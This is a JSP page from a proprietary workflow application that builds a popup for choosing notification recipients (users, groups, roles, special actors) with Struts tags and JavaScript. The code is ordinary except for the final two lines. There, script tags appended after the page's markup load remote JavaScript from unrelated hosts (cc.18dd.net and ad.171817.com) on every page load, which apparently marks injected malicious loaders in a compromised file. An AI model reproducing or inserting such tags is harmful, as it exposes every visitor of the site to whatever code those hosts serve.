<%
/*
 * @(#)ListWorkflowRecordOwner.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListWorkflowRecordOwner.jsp

    @author           Dick Xie
    @company          DCIVision Limited
    @creation date    3/1/2005
    @version          $Revision: 1.13.6.8 $
*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.user.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.core.SystemWorkflowConstant"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowProgressForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowProgressForm"/>

<%String workflowCategoryID = request.getAttribute("workflowCategoryID")!=null?(String)request.getAttribute("workflowCategoryID"):null;%>
<%if(workflowCategoryID==null && request.getParameter("workflowCategoryID")!=null){workflowCategoryID=request.getParameter("workflowCategoryID");}%>

<script language="Javascript">
<!--

  function CustOpSave() {
    var frm = document.maintWorkflowProgressForm;
    var parent = window.opener;
    var wfProgressIDs = "";
    var progressID = "";
    var progressIDArray;
    var selected = true;
    
//  get value from permission to original form 
    unselectList('progressUser');
    unselectList('progressGroup');
    unselectList('progressRole');
    unselectList('actorTypes');
    
    for (var i=0; i<allPermissionAry.length; i++) {
      if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_USER%>") {
        chkGrp = 'progressUser';
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_GROUP%>") {
        chkGrp = 'progressGroup';
      } else if (allPermissionAry[i][2]=="<%=GlobalConstant.SUBJECT_TYPE_ROLE%>") {
        chkGrp = 'progressRole';
      } else {
        chkGrp = 'actorTypes';
      }

      var elm = eval('frm.'+chkGrp);
      if (elm.length) {
      for(j=0;j<elm.length;j++){
        if(chkGrp != 'actorTypes'){
          if(elm[j].value.split("$")[0] == allPermissionAry[i][0]){
            elm[j].checked = true;
          }
        }else{
          tmp = elm[j].value.split("$");
          if( tmp[2]+(tmp[0]=='0'?'':tmp[0]) == allPermissionAry[i][0] ){
            elm[j].checked = true;
          }
        }
      }
      } else if (elm) {
        if(chkGrp != 'actorTypes'){
          if(elm.value.split("$")[0] == allPermissionAry[i][0]){
            elm.checked = true;
          }
        }else{
          tmp = elm.value.split("$");
          if( tmp[2]+(tmp[0]=='0'?'':tmp[0]) == allPermissionAry[i][0] ){
            elm.checked = true;
          }
        }
      }
    }
    // end get

    if(frm.progressUser ){
      if(!frm.progressUser.length){
        progressID = frm.progressUser.value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_USER%>';
        if(frm.progressUser.checked && wfProgressIDs.indexOf(progressID) <0 ){
          if(wfProgressIDs != "") {
             wfProgressIDs += ":";
          }
          wfProgressIDs += progressID;
        }
      }
      for (var i=0; i<frm.progressUser.length; i++){
        if(frm.progressUser[i].checked){
          progressID = frm.progressUser[i].value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_USER%>';
          if(wfProgressIDs != "") {
            wfProgressIDs += ":";
          }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.progressGroup ){
      if(!frm.progressGroup.length){
         progressID = frm.progressGroup.value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP%>';
         if(frm.progressGroup.checked && wfProgressIDs.indexOf(progressID) <0 ){
           if(wfProgressIDs != "") {
              wfProgressIDs += ":";
           }
           wfProgressIDs += progressID;
         }
       }
      for (var i=0; i<frm.progressGroup.length; i++){
        if(frm.progressGroup[i].checked){

        progressID = frm.progressGroup[i].value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_GROUP%>';
        if(wfProgressIDs != "") {
          wfProgressIDs += ":";
        }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.progressRole ){
      if(!frm.progressRole.length){
        progressID = frm.progressRole.value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE%>';
        if(frm.progressRole.checked && wfProgressIDs.indexOf(progressID) <0 ){
          if(wfProgressIDs != "") {
            wfProgressIDs += ":";
          }
          wfProgressIDs += progressID;
        }
      }
    
      for (var i=0; i<frm.progressRole.length; i++){
        if(frm.progressRole[i].checked  ){
        progressID = frm.progressRole[i].value+'$'+'<%=MtmWorkflowStepUserActor.ACTOR_TYPE_ROLE%>';
        if(wfProgressIDs != "") {
          wfProgressIDs += ":";
        }
          wfProgressIDs += progressID;
        }
      }
    }

    if(frm.actorTypes ){
      if(!frm.actorTypes.length ){
        progressID = frm.actorTypes.value;
        if(frm.actorTypes.checked && wfProgressIDs.indexOf(progressID) <0 ){
          if(wfProgressIDs != "") {
            wfProgressIDs += ":";
          }
          wfProgressIDs += progressID;
        }
      }
      for (var i=0; i<frm.actorTypes.length; i++){
        if(frm.actorTypes[i].checked ){
        if(wfProgressIDs != "") {
          wfProgressIDs += ":";
        }

         progressID = frm.actorTypes[i].value;
         wfProgressIDs += progressID;
        }
      }
    }
    if(wfProgressIDs == ""){
      alert("<bean:message key='workflow.message.notification_recipient_is_required'/>");
      return false;
    }
    frm.workflowProgressID.value=wfProgressIDs;
    parent.setNotificationOwner(wfProgressIDs);
    parent.focus();
    window.close();
  }

  function selectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = true;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = true;
      }
    }
    return false;
  }

  function unselectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = false;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = false;
      }
    }
    return false;
  }

  function disableSelectList(listName, isDisable) {
  var obj = eval("document.maintWorkflowProgressForm."+listName);
  if (!obj){
  } else if (obj.value) {
    obj.checked = false;
    obj.disabled = isDisable;
  } else {
    for (var i=0; i<obj.length; i++) {
      obj[i].checked = false;
      obj[i].disabled = isDisable;
    }
  }
  return false;
}

  function disableOtherType(elm) {
    var checkboxGrp = elm.form.elements[elm.name];
    var frm = document.maintWorkflowProgressForm;
    if (elm.checked) { //disable other
//      disableSelectList('progressUser', true);
//      disableSelectList('progressGroup', true);
//      disableSelectList('progressRole', true);
      for (var i=0; i<checkboxGrp.length; i++) {
        if (!checkboxGrp[i].checked) {
           checkboxGrp[i].disabled = true;
        }
      }

    } else { //enable other
      for (var i=0; i<checkboxGrp.length; i++) {
        checkboxGrp[i].disabled = false;
      }
//      disableSelectList('progressUser', false);
//      disableSelectList('progressGroup', false);
//      disableSelectList('progressRole', false);
    }
  }
-->
</script>
<html:form action="workflow/MaintWorkflowStepNotificationOwner" styleClass="form-style-2">
<%
/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);

   List userList = (List) request.getAttribute("userList");
   List userGroupList = (List) request.getAttribute("groupList");
   List userRoleList = (List) request.getAttribute("roleList");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String[][] ACTOR_TYPE_MAP = (String[][])request.getAttribute("ACTOR_TYPE_MAP");
  String navMode = request.getParameter("navMode");
  String functionType = "workflow.label.assign_user_for_next_task";
  String lyrBgColor= "#FFFFFF";
  if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    lyrBgColor = "#EEEEEE";
  }
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>

<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property="workflowRecordID"/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>

<input type=hidden name="workflowProgressID" value="">
<input type=hidden name="oldStatus" value='<%=(String)request.getAttribute("oldStatus")%>'>

<!-- Page Title Section -->
<layout:popupTitle titleKey ="workflow.label.notify_select_owner"/>
<div class="tabContainer">
  <div id="basicTab" class="tabContent" style="display:block;height:450px;">
 <table width="550px">
  <tr>
    <td><html:img src='LayoutSpacer.gif'  width='0' height='5'/></td>
  </tr>

<div id="dummy" style="display:none">
        <%if(GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode())){%>
        <%}else{%>
            <bean:message key='common.label.select'/>
            <a href="javascript://" onClick="return selectList('progressUser');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressUser');"><bean:message key='common.label.none'/></a>
            <bean:message key='setup.label.user_accounts'/>
            <bean:message key='common.label.select'/>
            <a href="javascript://" onClick="return selectList('progressGroup');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressGroup');"><bean:message key='common.label.none'/></a>
            <bean:message key='setup.label.user_groups'/>
            <bean:message key='common.label.select'/>
            <a href="javascript://" onClick="return selectList('progressRole');"><bean:message key='common.label.all'/></a>/<a href="javascript://" onClick="return unselectList('progressRole');"><bean:message key='common.label.none'/></a>
            <bean:message key='setup.label.user_roles'/>
            <bean:message key='common.label.select'/> <a href="javascript://" onClick="return selectList('actorTypes');"><bean:message key='common.label.all'/></a>
            /<a href="javascript://" onClick="return unselectList('actorTypes');"><bean:message key='common.label.none'/></a> <bean:message key='setup.label.special_actor'/>
            &nbsp;
        <%}%>
            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userList.size(); i++) {
                UserRecord tmpUser = (UserRecord) userList.get(i);
                String checkboxOptionValue = (tmpUser.getID()).toString();
            %>
              <nobr><html:checkbox property='progressUser' value='<%=checkboxOptionValue+"$"+tmpUser.getFullName()%>'><%=tmpUser.getFullName()%></html:checkbox></nobr><br>
            <%}%>
            </div>
            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userGroupList.size(); i++) {
                UserGroup tmpGroup = (UserGroup) userGroupList.get(i);
                String checkboxOptionValue = (tmpGroup.getID()).toString();
            %>
              <nobr><html:checkbox property='progressGroup' value='<%=checkboxOptionValue+"$"+tmpGroup.getGroupName()%>'><%=tmpGroup.getGroupName()%></html:checkbox></nobr><br>
            <%}%>
            </div>
            <div id="optionDiv" style="width:170px;height:150px;overflow:auto;background-color:<%=lyrBgColor%>;layer-background-color:<%=lyrBgColor%>;border-style:inset;border-width:1;">
            <%for (int i=0; i<userRoleList.size(); i++) {
                UserRole tmpRole = (UserRole) userRoleList.get(i);
                String checkboxOptionValue = (tmpRole.getID()).toString();
            %>
           <nobr><html:checkbox property='progressRole' value='<%=checkboxOptionValue+"$"+tmpRole.getRoleName()%>'><%=tmpRole.getRoleName()%></html:checkbox></nobr><br>
            <%}%>
            </div>
             <html:checkboxOptions stringArray='<%=ACTOR_TYPE_MAP%>' name='actorTypes' nameValue='<%=maintWorkflowProgressForm.getActorTypes()%>' hasSelect='false' convertLabel='false' width='170' height='160'/>
 </div> 
  
  <tr>
    
    <td>
    <%
    String progressRole[] = maintWorkflowProgressForm.getProgressRole();
    if(!Utility.isEmpty(progressRole)){
    for(int i=0;i<progressRole.length;i++){
      progressRole[i] = progressRole[i].substring(0,progressRole[i].indexOf("$"));
    }
    }
    maintWorkflowProgressForm.setProgressRole(progressRole);
    
    String progressGroup[] = maintWorkflowProgressForm.getProgressGroup();
    if(!Utility.isEmpty(progressGroup)){
    for(int i=0;i<progressGroup.length;i++){
      progressGroup[i] = progressGroup[i].substring(0,progressGroup[i].indexOf("$"));
    }
    }
    maintWorkflowProgressForm.setProgressGroup(progressGroup);
    
    String progressUser[] = maintWorkflowProgressForm.getProgressUser();
    if(!Utility.isEmpty(progressUser)){
    for(int i=0;i<progressUser.length;i++){
      progressUser[i] = progressUser[i].substring(0,progressUser[i].indexOf("$"));
    }
    }
    maintWorkflowProgressForm.setProgressUser(progressUser);

    String actorTypes[] = maintWorkflowProgressForm.getActorTypes();
    if(!Utility.isEmpty(actorTypes)){
    for ( int i = 0 ; i < actorTypes.length ; i++){
     String tmp[] = TextUtility.splitString(actorTypes[i], "$");
     actorTypes[i] = tmp[2] + ("0".equals(tmp[0])?"":tmp[0]);
    }
    }
    maintWorkflowProgressForm.setActorTypes(actorTypes);
    
    if ( ACTOR_TYPE_MAP.length > 0 ) {
      for ( int i=0 ; i < ACTOR_TYPE_MAP.length ; i ++ ) {
        String tmp[] = TextUtility.splitString(ACTOR_TYPE_MAP[i][1],"$");
        ACTOR_TYPE_MAP[i][1] = tmp[2]+("0".equals(tmp[0])?"":tmp[0]);
      }
     }
     request.setAttribute("ACTOR_TYPE_MAP", ACTOR_TYPE_MAP);
    
    %>
      <wfm:permissionSetup enableOthers="true" 
        actorListName="actorTypes" userListName="progressUser" groupListName="progressGroup" roleListName="progressRole" showPermissionTitle="false"/>
    </td>
  </tr>
  </table>
  </div>
  </div>

 <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.complete" onClick="return CustOpSave()"/>
    <%}%>
    <%
      if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
        if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    <%  }
      }
    %>
 </div>
 </div>
</html:form>

<script>
function INIT(){
  var frm = window.document.maintWorkflowProgressForm;
  initVariable(window.document.maintWorkflowProgressForm);
}
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>